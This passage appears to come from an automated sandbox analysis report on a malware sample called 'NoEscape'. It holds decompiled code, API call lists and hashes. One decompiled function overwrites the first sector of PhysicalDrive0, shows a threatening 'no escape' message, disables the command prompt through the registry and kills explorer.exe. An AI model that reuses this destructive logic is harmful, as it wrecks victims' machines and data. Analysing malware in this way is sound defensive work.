							_push(0x4052bc);
							_push(0x4052b0); // executed
							L00404A76(); // executed
							if(_t35 == 0) {
								_push(0x4052ac);
								_push(0x4052a4); // executed
								L00404A70(); // executed
								 *0x408020 = 2;
								goto L8;
							}
							 *(_t76 - 4) = 0xfffffffe;
							_t42 = 0xff;
							goto L18;
							L19:
							E00404487(_t63, _t64, _t70, 7);
							goto L20;
						}
					}
					_t65 =  &(_t65[_t27]);
					__eflags = _t65;
					_t46 = GetModuleHandleA(_t70); // executed
					_t51 = _t46;
					do {
						asm("lodsb");
						__eflags = _t46;
						_t46 = 0;
						 *(_t70 - 1) = 0;
					} while (__eflags != 0);
					asm("lodsb");
					_t27 = _t46;
					__eflags = _t27;
					if(_t27 == 0) {
						goto L36;
					}
					__eflags = _t27 - 0x20;
					if(_t27 <= 0x20) {
						asm("lodsw");
						_t70 = _t70 - 1;
						__eflags = _t70;
						 *_t70 = 0;
						_push(0);
						L44:
						GetProcAddress(_t51, ??);
						asm("stosd");
						 *(_t70 - 1) = 0;
						asm("lodsb");
						_t46 = 0;
						__eflags = 0;
						_t21 = _t76 - 0xa;
						 *_t21 =  *(_t76 - 0xa) << 0xeb;
						__eflags =  *_t21;
					}
					_t70 = _t70 - 1;
					_push(_t70);
					goto L44;
				} else {
					__eax = __eax - 0x1000;
					__eflags = __eax->i - 0x4d;
					if(__eax->i != 0x4d) {
						goto L35;
					}
					__edi =  *((intOrPtr*)(__eax + 0x3c));
					__edi =  *((intOrPtr*)(__eax + 0x3c)) + __eax;
					__eax = 0;
					__edi = __edi;
					__edi = __edi + 0x3f;
					L25();
					__ebx = __ebx - 1;
					__ebp = __ebp + 1;
					_push(__edx);
					__esi = __esi - 1;
					__ebp = __ebp + 1;
					__esp = __esp - 1;
					__esi = __esi ^  *__edx;
					__eflags = __al;
					__eax = GetModuleHandleA();
					__eax = __eax;
					__eflags = __eax;
					if(__eax == 0) {
						goto L35;
					}
					L31();
					_push(__esi);
					__esi = __edx[0x1d] * 0x506c6175;
					__eflags = __esi;
				}
			}

0x00404ba2
0x00404ba2
0x00404ba2
0x00404ba2
0x00404ba3
0x00404baa
0x00404bac
0x00404bac
0x00404baf
0x00404bb2
0x00404bb5
0x00404bb7
0x00404c28
0x00404c28
0x00404c2a
0x00404c2a
0x00404c2b
0x00404c2e
0x00404c6d
0x00404c72
0x00404c73
0x00404c7b
0x00404c81
0x00404c82
0x00404102
0x00404102
0x00403f87
0x00403f8e
0x00403f93
0x00403f96
0x00000000
0x00000000
0x00403f9c
0x00403f9e
0x00403fa1
0x00403faa
0x00403fad
0x00403fb4
0x00403fb7
0x00000000
0x00000000
0x00403fbf
0x0040400a
0x0040400c
0x0040400f
0x00404012
0x00404017
0x0040401d
0x00404021
0x00404023
0x00404026
0x0040402b
0x0040402c
0x0040402e
0x00404030
0x00404036
0x00404038
0x0040403e
0x0040403e
0x0040402e
0x00404040
0x00404045
0x00404047
0x00404049
0x0040404c
0x00404051
0x00404052
0x00404054
0x00404056
0x00404058
0x0040405d
0x0040405d
0x00404054
0x0040405e
0x00404063
0x00404065
0x0040406c
0x00404071
0x00404075
0x0040407a
0x0040407d
0x0040407f
0x00404084
0x00404086
0x004040f3
0x004040f3
0x004040f4
0x004040f9
0x004040fc
0x00404101
0x00000000
0x00404088
0x00404088
0x0040408a
0x0040408c
0x0040408c
0x00404095
0x0040409c
0x004040a3
0x004040dc
0x004040df
0x004040eb
0x004040eb
0x00404086
0x00403fc1
0x00403fc7
0x00403fcc
0x00403fd1
0x00403fda
0x00403fed
0x00403ff2
0x00403ff7
0x00403ffe
0x00000000
0x00403ffe
0x00403fdc
0x00403fe3
0x00000000
0x004040ec
0x004040ee
0x00000000
0x004040ee
0x00404102
0x00404c30
0x00404c30
0x00404c33
0x00404c38
0x00404c3a
0x00404c3a
0x00404c3b
0x00404c3d
0x00404c3f
0x00404c3f
0x00404c44
0x00404c45
0x00404c45
0x00404c47
0x00000000
0x00000000
0x00404c49
0x00404c4b
0x00404c53
0x00404c55
0x00404c55
0x00404c56
0x00404c59
0x00404c5a
0x00404c5b
0x00404c60
0x00404c63
0x00404c66
0x00404c67
0x00404c67
0x00404c68
0x00404c68
0x00404c68
0x00404c68
0x00404c4d
0x00404c4e
0x00000000
0x00404bb9
0x00404bb9
0x00404bbe
0x00404bc1
0x00000000
0x00000000
0x00404bc3
0x00404bc6
0x00404bc8
0x00404bce
0x00404bd0
0x00404bd3
0x00404bd8
0x00404bd9
0x00404bda
0x00404bdb
0x00404bdc
0x00404bdd
0x00404bde
0x00404be0
0x00404be1
0x00404be6
0x00404be6
0x00404be8
0x00000000
0x00000000
0x00404bea
0x00404bef
0x00404bf0
0x00404bf0
0x00404bf0

APIs

GetModuleHandleA.KERNEL32(?,00404BD8), ref: 00404C33
GetProcAddress.KERNEL32(00000000,00000000), ref: 00404C5B

Part of subcall function 00404BE1: GetModuleHandleA.KERNEL32(00404BD8), ref: 00404BE1
Part of subcall function 00404BE1: GetProcAddress.KERNEL32(00000000,00404BEF), ref: 00404BFF
Part of subcall function 00404BE1: VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00404BEF,00404BD8), ref: 00404C11
Part of subcall function 00404BE1: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00404BEF,00404BD8), ref: 00404C25

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
Instruction ID: 11dade7c07b784cd8206795758ee9f169746a3f6415c89816006e46f7934d3b1
Opcode Fuzzy Hash: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
Instruction Fuzzy Hash: 642137A104F2416FFB215B744C457666BD88BD3325B1B4AA7D280EB6C3D1BC8846837A

Uniqueness

Uniqueness Score: -1.00%

Function 00404BFE, Relevance: 7.6, APIs: 5, Instructions: 54
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E00404BFE(struct HINSTANCE__* __eax, long __ecx, void* __edx, CHAR* __esi) {
				void* __edi;
				long _t18;
				void* _t23;
				intOrPtr _t26;
				long* _t29;
				CHAR* _t30;
				long _t31;
				CHAR* _t33;
				long _t34;
				long _t37;
				struct HINSTANCE__* _t42;
				void* _t54;
				long _t56;
				void* _t57;
				CHAR* _t60;
				long* _t61;
				long* _t62;
				long _t65;
				void* _t66;
				void* _t68;

				_t60 = __esi;
				_t54 = __edx;
				_t44 = __ecx;
				_t18 = GetProcAddress(__eax, ??);
				if(_t18 == 0) {
					L26:
					_t56 = _t60;
					while(1) {
						L27:
						asm("lodsd");
						__eflags = _t18 - 0xffffffff;
						if(_t18 == 0xffffffff) {
							break;
						}
						_t56 = _t56 + _t18;
						__eflags = _t56;
						_t37 = GetModuleHandleA(_t60); // executed
						_t42 = _t37;
						do {
							asm("lodsb");
							__eflags = _t37;
							_t37 = 0;
							 *(_t60 - 1) = 0;
						} while (__eflags != 0);
						while(1) {
							asm("lodsb");
							_t18 = _t37;
							__eflags = _t18;
							if(_t18 == 0) {
								goto L27;
							}
							__eflags = _t18 - 0x20;
							if(_t18 <= 0x20) {
								asm("lodsw");
								_t60 = _t60 - 1;
								__eflags = _t60;
								 *_t60 = 0;
								_push(0);
								L35:
								GetProcAddress(_t42, ??);
								asm("stosd");
								goto L37;
								_t37 = 0;
								__eflags = 0;
								_t14 = _t66 - 0xa;
								 *_t14 =  *(_t66 - 0xa) << 0xeb;
								__eflags =  *_t14;
							}
							_t60 = _t60 - 1;
							_push(_t60);
							goto L35;
						}
					}
					L42();
					_pop(_t57);
					_t55 = _t57 + 0xfffffeee;
					asm("stosb");
					asm("stosd");
					asm("popad");
					while(1) {
						E004043BB();
						E004046B0(_t42, _t55, 0x406668, 0x14);
						_t23 = E00404193(_t44, 1);
						_pop(_t44);
						if(_t23 == 0) {
							goto L19;
						}
						_t42 = 0;
						 *((char*)(_t66 - 0x19)) = 0;
						 *(_t66 - 4) =  *(_t66 - 4) & 0x00000000;
						 *((char*)(_t66 - 0x24)) = E00404161();
						_t26 =  *0x408020; // 0x2
						_t44 = 1;
						if(_t26 == 1) {
							goto L19;
						}
						if(_t26 != 0) {
							_t42 = 1;
							 *((char*)(_t66 - 0x19)) = 1;
							L8:
							E004042E7( *((intOrPtr*)(_t66 - 0x24)));
							_pop(_t44);
							_t61 = E0040447B();
							__eflags =  *_t61;
							if( *_t61 != 0) {
								_t34 = E00404253();
								_t44 = _t61;
								__eflags = _t34;
								if(_t34 != 0) {
									_t65 =  *_t61;
									_t44 = _t65;
									 *0x4052a0(0, 2, 0);
									 *_t65();
								}
							}
							_t29 = E00404481();
							_t62 = _t29;
							__eflags =  *_t62;
							if( *_t62 != 0) {
								_t29 = E00404253();
								_t44 = _t62;
								__eflags = _t29;
								if(_t29 != 0) {
									_push( *_t62);
									L00404AA6();
									_pop(_t44);
								}
							}
							L00404A6A();
							_t55 = _t29;
							L00404A94();
							L00404A8E();
							_push(_t29);
							_t30 = E00401BC0(_t42, _t29,  *_t29,  *_t29,  *_t29); // executed
							_t68 = _t68 + 0xc;
							_t60 = _t30;
							_t31 = E004045A6();
							__eflags = _t31;
							if(_t31 == 0) {
								L20:
								_push(_t60); // executed
								L00404A7C(); // executed
								_push( *((intOrPtr*)(_t66 - 0x20)));
								L00404A82();
								asm("int3");
								continue;
							} else {
								__eflags = _t42;
								if(_t42 == 0) {
									L00404A9A();
								}
								E00404304(1, 0);
								 *(_t66 - 4) = 0xfffffffe;
								_t33 = _t60;
								L18:
								 *[fs:0x0] =  *((intOrPtr*)(_t66 - 0x10));
								return _t33;
							}
						}
						 *0x408020 = 1;
						_push(0x4052bc);
						_push(0x4052b0); // executed
						L00404A76(); // executed
						if(_t26 == 0) {
							_push(0x4052ac);
							_push(0x4052a4); // executed
							L00404A70(); // executed
							 *0x408020 = 2;
							goto L8;
						}
						 *(_t66 - 4) = 0xfffffffe;
						_t33 = 0xff;
						goto L18;
						L19:
						E00404487(_t54, _t55, _t60, 7);
						goto L20;
					}
				} else {
					_push(__eax);
					__ebx = __eax; // executed
					__eax = VirtualProtect(__edi, 0x78, 4, __esp); // executed
					__eax = __eax;
					__eflags = __eax;
					if(__eax != 0) {
						 *__edi = 0x60;
						 *((char*)(__edi + 0x28)) = 0x60;
						_pop(__eax);
						_push(__eax);
						__eax = VirtualProtect(__edi, 0x78, __eax, __esp); // executed
					}
					_pop(__eax);
					goto L26;
				}
			}

0x00404bfe
0x00404bfe
0x00404bfe
0x00404c04
0x00404c06
0x00404c28
0x00404c28
0x00404c2a
0x00404c2a
0x00404c2a
0x00404c2b
0x00404c2e
0x00000000
0x00000000
0x00404c30
0x00404c30
0x00404c33
0x00404c38
0x00404c3a
0x00404c3a
0x00404c3b
0x00404c3d
0x00404c3f
0x00404c3f
0x00404c44
0x00404c44
0x00404c45
0x00404c45
0x00404c47
0x00000000
0x00000000
0x00404c49
0x00404c4b
0x00404c53
0x00404c55
0x00404c55
0x00404c56
0x00404c59
0x00404c5a
0x00404c5b
0x00404c60
0x00404c60
0x00404c67
0x00404c67
0x00404c68
0x00404c68
0x00404c68
0x00404c68
0x00404c4d
0x00404c4e
0x00000000
0x00404c4e
0x00404c44
0x00404c6d
0x00404c72
0x00404c73
0x00404c7b
0x00404c81
0x00404c82
0x00404102
0x00404102
0x00403f87
0x00403f8e
0x00403f93
0x00403f96
0x00000000
0x00000000
0x00403f9c
0x00403f9e
0x00403fa1
0x00403faa
0x00403fad
0x00403fb4
0x00403fb7
0x00000000
0x00000000
0x00403fbf
0x0040400a
0x0040400c
0x0040400f
0x00404012
0x00404017
0x0040401d
0x00404021
0x00404023
0x00404026
0x0040402b
0x0040402c
0x0040402e
0x00404030
0x00404036
0x00404038
0x0040403e
0x0040403e
0x0040402e
0x00404040
0x00404045
0x00404047
0x00404049
0x0040404c
0x00404051
0x00404052
0x00404054
0x00404056
0x00404058
0x0040405d
0x0040405d
0x00404054
0x0040405e
0x00404063
0x00404065
0x0040406c
0x00404071
0x00404075
0x0040407a
0x0040407d
0x0040407f
0x00404084
0x00404086
0x004040f3
0x004040f3
0x004040f4
0x004040f9
0x004040fc
0x00404101
0x00000000
0x00404088
0x00404088
0x0040408a
0x0040408c
0x0040408c
0x00404095
0x0040409c
0x004040a3
0x004040dc
0x004040df
0x004040eb
0x004040eb
0x00404086
0x00403fc1
0x00403fc7
0x00403fcc
0x00403fd1
0x00403fda
0x00403fed
0x00403ff2
0x00403ff7
0x00403ffe
0x00000000
0x00403ffe
0x00403fdc
0x00403fe3
0x00000000
0x004040ec
0x004040ee
0x00000000
0x004040ee
0x00404c08
0x00404c08
0x00404c0f
0x00404c11
0x00404c13
0x00404c13
0x00404c15
0x00404c19
0x00404c1b
0x00404c1e
0x00404c1f
0x00404c25
0x00404c25
0x00404c27
0x00000000
0x00404c27

APIs

GetProcAddress.KERNEL32(00000000,00404BEF), ref: 00404BFF
VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00404BEF,00404BD8), ref: 00404C11
VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00404BEF,00404BD8), ref: 00404C25
GetModuleHandleA.KERNEL32(?,00404BD8), ref: 00404C33
GetProcAddress.KERNEL32(00000000,00000000), ref: 00404C5B

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: AddressProcProtectVirtual$HandleModule
String ID:
API String ID: 2152742572-0
Opcode ID: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
Instruction ID: d034b9023b85549e5506e8f8864e734c7a493e135b4beb71a2d54305d01fdcc3
Opcode Fuzzy Hash: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
Instruction Fuzzy Hash: 41F0F9C054F20178FA3115B40C45ABB4BCC46E33257160A67A350E72C3D4BD880652BA

Uniqueness

Uniqueness Score: -1.00%

Function 004040BB, Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E004040BB(void* __edx) {
				void* _t18;
				intOrPtr _t21;
				intOrPtr* _t24;
				void* _t25;
				void* _t28;
				void* _t29;
				char _t32;
				void* _t44;
				void* _t48;
				intOrPtr* _t49;
				intOrPtr* _t50;
				intOrPtr* _t53;
				void* _t54;
				intOrPtr _t56;

				_t44 = __edx;
				_t56 =  *((intOrPtr*)(_t54 - 0x18));
				if(E004045A6() == 0) {
					while(1) {
						L24:
						_push( *((intOrPtr*)(_t54 - 0x20)));
						L00404A82();
						asm("int3");
						E004043BB();
						goto L1;
					}
				} else {
					if( *((char*)(__ebp - 0x19)) == 0) {
						L00404AA0();
					}
					 *(__ebp - 4) = 0xfffffffe;
					L21:
					 *[fs:0x0] =  *((intOrPtr*)(_t54 - 0x10));
					return _t28;
				}
				L1:
				E004046B0(_t32, _t45, 0x406668, 0x14);
				_t18 = E00404193(_t34, 1);
				_pop(_t34);
				if(_t18 == 0) {
					L22:
					E00404487(_t44, _t45, _t48, 7);
					L23:
					_push(_t48); // executed
					L00404A7C(); // executed
					goto L24;
				}
				_t32 = 0;
				 *((char*)(_t54 - 0x19)) = 0;
				 *(_t54 - 4) =  *(_t54 - 4) & 0x00000000;
				 *((char*)(_t54 - 0x24)) = E00404161();
				_t21 =  *0x408020; // 0x2
				_t34 = 1;
				if(_t21 == 1) {
					goto L22;
				}
				if(_t21 != 0) {
					_t32 = 1;
					 *((char*)(_t54 - 0x19)) = 1;
					L8:
					E004042E7( *((intOrPtr*)(_t54 - 0x24)));
					_pop(_t34);
					_t49 = E0040447B();
					if( *_t49 != 0) {
						_t29 = E00404253();
						_t34 = _t49;
						if(_t29 != 0) {
							_t53 =  *_t49;
							_t34 = _t53;
							 *0x4052a0(0, 2, 0);
							 *_t53();
						}
					}
					_t24 = E00404481();
					_t50 = _t24;
					if( *_t50 != 0) {
						_t24 = E00404253();
						_t34 = _t50;
						if(_t24 != 0) {
							_push( *_t50);
							L00404AA6();
							_pop(_t34);
						}
					}
					L00404A6A();
					_t45 = _t24;
					L00404A94();
					L00404A8E();
					_push(_t24);
					_t25 = E00401BC0(_t32, _t24,  *_t24,  *_t24,  *_t24); // executed
					_t56 = _t56 + 0xc;
					_t48 = _t25;
					if(E004045A6() == 0) {
						goto L23;
					} else {
						if(_t32 == 0) {
							L00404A9A();
						}
						E00404304(1, 0);
						 *(_t54 - 4) = 0xfffffffe;
						_t28 = _t48;
						goto L21;
					}
				}
				 *0x408020 = 1;
				_push(0x4052bc);
				_push(0x4052b0); // executed
				L00404A76(); // executed
				if(_t21 == 0) {
					_push(0x4052ac);
					_push(0x4052a4); // executed
					L00404A70(); // executed
					 *0x408020 = 2;
					goto L8;
				}
				 *(_t54 - 4) = 0xfffffffe;
				_t28 = 0xff;
				goto L21;
			}

0x004040bb
0x004040bb
0x004040c5
0x004040f9
0x004040f9
0x004040f9
0x004040fc
0x00404101
0x00404102
0x00000000
0x00404102
0x004040c7
0x004040cb
0x004040cd
0x004040cd
0x004040d2
0x004040dc
0x004040df
0x004040eb
0x004040eb
0x00403f80
0x00403f87
0x00403f8e
0x00403f93
0x00403f96
0x004040ec
0x004040ee
0x004040f3
0x004040f3
0x004040f4
0x00000000
0x004040f4
0x00403f9c
0x00403f9e
0x00403fa1
0x00403faa
0x00403fad
0x00403fb4
0x00403fb7
0x00000000
0x00000000
0x00403fbf
0x0040400a
0x0040400c
0x0040400f
0x00404012
0x00404017
0x0040401d
0x00404023
0x00404026
0x0040402b
0x0040402e
0x00404030
0x00404036
0x00404038
0x0040403e
0x0040403e
0x0040402e
0x00404040
0x00404045
0x00404049
0x0040404c
0x00404051
0x00404054
0x00404056
0x00404058
0x0040405d
0x0040405d
0x00404054
0x0040405e
0x00404063
0x00404065
0x0040406c
0x00404071
0x00404075
0x0040407a
0x0040407d
0x00404086
0x00000000
0x00404088
0x0040408a
0x0040408c
0x0040408c
0x00404095
0x0040409c
0x004040a3
0x00000000
0x004040a3
0x00404086
0x00403fc1
0x00403fc7
0x00403fcc
0x00403fd1
0x00403fda
0x00403fed
0x00403ff2
0x00403ff7
0x00403ffe
0x00000000
0x00403ffe
0x00403fdc
0x00403fe3
0x00000000

APIs

Part of subcall function 004045A6: GetModuleHandleW.KERNEL32(00000000,00404084), ref: 004045A8

___security_init_cookie.LIBCMT ref: 00404102

Memory Dump Source

Source File: 00000000.00000002.651420639.0000000000401000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.651414741.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.651428733.0000000000408000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651434497.000000000040E000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651723570.00000000005C6000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.651727934.00000000005C7000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_NoEscape.jbxd

Similarity

API ID: HandleModule___security_init_cookie
String ID:
API String ID: 1525027140-0
Opcode ID: 9bc76bde86d16cb045967f6c51c7514c4c67a7816c2a91c0152803a1a1f02c60
Instruction ID: 6ec559c927932b01d6443e718f3bbdf6e359664152ff4d293f21f5e6db97dd93
Opcode Fuzzy Hash: 9bc76bde86d16cb045967f6c51c7514c4c67a7816c2a91c0152803a1a1f02c60
Instruction Fuzzy Hash: DEE012B1A042499BDF14AB9594023ADB771AB80328F10057FDB51326D1DB3D15159A59

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004038A0, Relevance: 119.4, APIs: 49, Strings: 19, Instructions: 401
memorystringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E004038A0(void* __eflags) {
				signed int _v8;
				long _v12;
				void _v16;
				long _v20;
				void* _v21;
				intOrPtr _v24;
				void* _v28;
				struct HWND__* _v32;
				void* _v36;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t102;
				WCHAR* _t108;
				int _t122;
				int _t126;
				WCHAR* _t132;
				signed char _t137;
				signed char _t140;
				signed int _t149;
				signed int _t151;
				signed int _t159;
				signed int _t161;
				int _t171;
				int _t172;
				signed int _t175;
				signed char _t182;
				signed int _t201;
				intOrPtr _t202;
				signed int* _t203;
				signed int* _t204;
				struct HWND__* _t205;
				signed char _t210;
				signed int _t221;
				signed int _t229;
				signed char _t231;
				long _t236;
				signed int _t248;
				signed int _t252;
				signed char _t254;
				long _t256;
				void* _t259;
				void* _t260;
				struct HWND__* _t261;
				intOrPtr _t262;
				signed int _t263;
				signed int _t266;
				void* _t269;
				void* _t271;
				void _t272;
				WCHAR* _t275;
				signed int _t278;
				signed int _t280;
				signed int _t282;
				signed int _t285;
				void* _t298;

				_t102 =  *0x408014; // 0xffc51803
				_v8 = _t102 ^ _t285;
				_v16 = 1;
				NtSetInformationProcess( *0x4083d0, 0x1d,  &_v16, 4);
				_t199 =  *0x405120;
				_t108 = RtlAllocateHeap( *0x4083e0, 8, 0x1c + lstrlenW(L"C:\\Users\\jones\\AppData\\Local") * 2);
				 *0x4083c8 = _t108;
				wsprintfW(_t108, L"%s\\noescape.png", L"C:\\Users\\jones\\AppData\\Local");
				E004015C0( *0x405120, 0x66, _t259,  *0x405080);
				SystemParametersInfoW(0x14, 0,  *0x4083c8, 1);
				HeapFree( *0x4083e0, 0,  *0x4083c8);
				_t260 = RtlAllocateHeap( *0x4083e0, 8, 0x200);
				_t271 = CreateFileW(L"\\\\.\\PhysicalDrive0", 0xc0000000, 3, 0, 3, 0, 0);
				if(_t271 != 0xffffffff && _t271 != 0) {
					WriteFile(_t271, _t260, 0x200,  &_v20, 0);
				}
				CloseHandle(_t271);
				HeapFree( *0x4083e0, 0, _t260);
				_t272 = RtlAllocateHeap( *0x4083e0, 8, 0xc);
				_v16 = _t272;
				if(E00401000(_t199, L"notepad.exe", _t260, _t272) >= 1) {
					if(__eflags > 0) {
						E004014B0(_t199, L"notepad.exe", 1, _t260, _t272);
					}
				} else {
					E004010E0(_t199, L"C:\\Windows\\notepad.exe", 0, _t260, _t272, L"notepad.exe");
				}
				E004012A0(_t199, L"notepad.exe", _t272, _t260, _t272);
				_t261 = FindWindowExW( *( *((intOrPtr*)(_t272 + 8)) + 8), 0, L"Edit", 0);
				_v32 = _t261;
				_t122 = CreateFontW(0x32, 0, 0, 0, 0x190, 0, 0, 0, 1, 0, 0, 0, 0, L"Courier New");
				_v28 = RtlAllocateHeap( *0x4083e0, 8, 2 + lstrlenW(L"THERE IS NO ESCAPE NOW.\r\n\r\nDO NOT TRY TO CLOSE THIS WINDOW,\r\nYOUR COMPUTER IS NOW DONE FOR ANYWAY.\r\n\r\nDO YOU WANT TO ENJOY THE LAST MINUTES\nUSING YOUR COMPUTER? yes\r\n\r\nGOOD LUCK.") * 2);
				_t126 = lstrlenW(L"THERE IS NO ESCAPE NOW.\r\n\r\nDO NOT TRY TO CLOSE THIS WINDOW,\r\nYOUR COMPUTER IS NOW DONE FOR ANYWAY.\r\n\r\nDO YOU WANT TO ENJOY THE LAST MINUTES\nUSING YOUR COMPUTER? yes\r\n\r\nGOOD LUCK.");
				 *0x405168(1);
				SendMessageW(_t261, 0x30, _t122, 1);
				_t210 = 0;
				 *0x4083d4 = 0;
				_t201 = _t126 - 0x11;
				if(_t201 != 0) {
					do {
						_t256 = _v28;
						 *((short*)(_t256 + (_t210 & 0x000000ff) * 2)) = (L"THERE IS NO ESCAPE NOW.\r\n\r\nDO NOT TRY TO CLOSE THIS WINDOW,\r\nYOUR COMPUTER IS NOW DONE FOR ANYWAY.\r\n\r\nDO YOU WANT TO ENJOY THE LAST MINUTES\nUSING YOUR COMPUTER? yes\r\n\r\nGOOD LUCK.")[_t210 & 0x000000ff];
						SendMessageW(_t261, 0xc, 0, _t256);
						Sleep(0x96);
						_t231 =  *0x4083d4; // 0x6
						_t210 = _t231 + 1;
						 *0x4083d4 = _t210;
					} while ((_t210 & 0x000000ff) < _t201);
				}
				 *0x405168(0);
				_v20 = OpenProcess(0x400, 0,  *( *(_v16 + 8)));
				_v12 = 0;
				_t132 = RtlAllocateHeap( *0x4083e0, 8, 0x24 + _t201 * 2);
				_v36 = _t132;
				_t275 =  &(_t132[_t201]);
				lstrcpyW(_t132, _v28);
				_t262 =  *0x405090;
				while(1) {
					_t30 = _t201 + 4; // -13
					 *0x4083c0 = SendMessageW(_v32, 0xd, _t30, _v36);
					if(lstrcmpW(_t275, L"yes") == 0) {
						break;
					}
					if(lstrcmpW(_t275, L"no") == 0) {
						_t171 = RtlAllocateHeap( *0x4083e0, 8, 0x402);
						_t269 = _t171;
						L34();
						_t172 = CreateFontW(_t171, 0, 0, 0, 0x190, 0, 0, 0, 1, 0, 0, 0, 0, L"Verdana");
						_t205 = _v32;
						SendMessageW(_t205, 0xc, 0, 0);
						SendMessageW(_t205, 0x30, _t172, 1);
						_t254 = 0xa;
						_t175 = 0xa;
						while(1) {
							__eflags = _v12 - 0x103;
							_v21 = _t175 - 1;
							if(_v12 != 0x103) {
								break;
							}
							_t182 = 0;
							__eflags = 0;
							 *0x4083cc = 0;
							do {
								__eflags = _t182;
								if(_t182 == 0) {
									L27:
									L34();
									_t229 =  *0x4083cc; // 0x0
									_t254 = 0xa;
									 *(_t269 + _t229 * 2) = _t182;
								} else {
									__eflags = _t182 & 0x0000001f;
									if((_t182 & 0x0000001f) != 0) {
										goto L27;
									} else {
										 *(_t269 + _t229 * 2) = _t254;
									}
								}
								_t229 = _t229 + 1;
								 *0x4083cc = _t229;
								_t182 = _t229;
								__eflags = _t229 - 0x100;
							} while (_t229 < 0x100);
							SendMessageW(_t205, 0xc, 0, _t269);
							GetExitCodeProcess(_v20,  &_v12);
							Sleep(0x32);
							_t175 = _v21;
							_t254 = 0xa;
							__eflags = _t175;
							if(_t175 != 0) {
								continue;
							}
							break;
						}
						HeapFree( *0x4083e0, 0, _t269);
						goto L20;
					} else {
						_t298 =  *0x4083c0 - _t201; // 0x6
						if(_t298 != 0 && (_t298 <= 0 || lstrcmpW(_t275, "y") != 0 && lstrcmpW(_t275, L"ye") != 0 && lstrcmpW(_t275, "n") != 0)) {
							SendMessageW(_v32, 0xc, 0, _v28);
						}
						GetExitCodeProcess(_v20,  &_v12);
						Sleep(0xfa);
						if(_v12 == 0x103) {
							continue;
						} else {
							L20:
							HeapFree( *0x4083e0, 0, _v16);
							HeapFree( *0x4083e0, 0, _v36);
							HeapFree( *0x4083e0, 0, _v28);
							return E0040410C(_v8 ^ _t285);
						}
					}
					L38:
				}
				_t202 =  *0x4050a4;
				_t137 = 0;
				__eflags = 0;
				 *0x4083d4 = 0;
				do {
					_t236 = _v36;
					 *((short*)(_t236 + ((_t137 & 0x000000ff) +  *0x4083c0) * 2)) = (L"THERE IS NO ESCAPE NOW.\r\n\r\nDO NOT TRY TO CLOSE THIS WINDOW,\r\nYOUR COMPUTER IS NOW DONE FOR ANYWAY.\r\n\r\nDO YOU WANT TO ENJOY THE LAST MINUTES\nUSING YOUR COMPUTER? yes\r\n\r\nGOOD LUCK.")[(_t137 & 0x000000ff) +  *0x4083c0];
					SendMessageW(_v32, 0xc, 0, _t236);
					Sleep(0xc8);
					_t140 =  *0x4083d4; // 0x6
					_t137 = _t140 + 1;
					 *0x4083d4 = _t137;
					__eflags = _t137 - 0xf;
				} while (_t137 < 0xf);
				Sleep(0x3e8);
				E004016A0(_t202, 0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", _t262, _t275, L"AutoRestartShell", 4, 0, 0);
				E004016A0(_t202, 0x80000001, L"SOFTWARE\\Policies\\Microsoft\\Windows\\System", _t262, _t275, L"DisableCMD", 4, 0, 0);
				E004014B0(_t202, L"explorer.exe", 0, _t262, _t275);
				E004014B0(_t202, L"notepad.exe", 0, _t262, _t275);
				E004010E0(_t202, L"cmd.exe", L"C:\\Windows\\system32", _t262, _t275, L"notepad.exe");
				E004010E0(_t202, L"mspaint.exe", 0, _t262, _t275, L"cmd.exe");
				_t221 = L"taskmgr.exe";
				E004010E0(_t202, _t221, 0, _t262, _t275, L"mspaint.exe");
				CreateThread(0, 0, E00403880, 0, 0, 0);
				E00403420(0x32, 0x4b);
				asm("int3");
				asm("int3");
				_t149 = _t221;
				_t203 =  *0x4083b8; // 0x6c0438
				_v192 = _t149;
